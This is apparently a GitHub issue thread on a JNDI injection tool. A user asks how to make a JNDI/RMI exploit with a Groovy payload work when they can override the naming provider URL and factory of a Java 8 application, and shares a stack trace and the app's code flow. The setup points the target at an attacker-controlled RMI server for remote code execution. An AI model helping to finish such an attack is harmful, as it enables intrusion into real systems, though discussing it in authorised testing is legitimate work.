javax.naming.NotContextException: rmi://54.x.x.x:1099/ngiawf at RegistryContextFactory.URLToContext

[yahanvesh]

I have tweaked the code to use the new Groovy payload given by orange last month. However in my usecase , i dont have a direct initialContext.lookup available. What i have is the path below- However right now its failing at line 104 in http://cr.openjdk.java.net/~mduigou/7072353/3/webrev/src/share/classes/com/sun/jndi/rmi/registry/RegistryContextFactory.java.html#104

As the object sent back from the EVIL RMI server is not an instance of Context? ANy suggestions if this can still be exploited?

javax.naming.NotContextException: rmi://54.x.x.x:1099/ngiawf
	at com.sun.jndi.rmi.registry.RegistryContextFactory.URLToContext(RegistryContextFactory.java:107) ~[?:1.8.0_222]
	at com.sun.jndi.rmi.registry.RegistryContextFactory.getInitialContext(RegistryContextFactory.java:69) ~[?:1.8.0_222]
	at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:684) ~[?:1.8.0_222]
	at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313) ~[?:1.8.0_222]
	at javax.naming.InitialContext.init(InitialContext.java:244) ~[?:1.8.0_222]
	at javax.naming.InitialContext.<init>(InitialContext.java:216) ~[?:1.8.0_222]
	at javax.naming.directory.InitialDirContext.<init>(InitialDirContext.java:101) ~[?:1.8.0_222]

[welk1n]

you are right, actually its an instance of RemoteReference/Remote. About how exploit "this", I dont follow you totally，what's the vul code and which part can you control?

[yahanvesh]

@welk1n Does the exploit happen only with the call InitialContext.lookup() ? Ill paste the code flow

[yahanvesh]

In my application, im able to override two params below- java.naming.provider.url which i set to rmi server generated by your code - rmi://54.x.x.x:1099/ngiawf java.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory

I have groovy and Apache bean Factory in the Classpath, so trying the execByGroovy payload Java version : 1.8.0.222

Here is the Code flow:- config contains the overriden params above. makeDirectoyEnv code basically sets these overridden values in Environment.

 1023  dirEnv = makeDirectoryEnv(this.getUrl(), config);
 1024  dirCtx = new InitialDirContext(dirEnv);
...
**then after some lines ***
1029 eventCtx = (EventContext) new InitialContext(dirEnv).lookup(config.getBaseDn());

1. Im assuming the actual exploit happens at the lookup function ? Is it right assumption? 2)Secondly right now its failing at 1024 with the stack trace given above. So its not even able to reach lookup. So in which case is it not possible to exploit?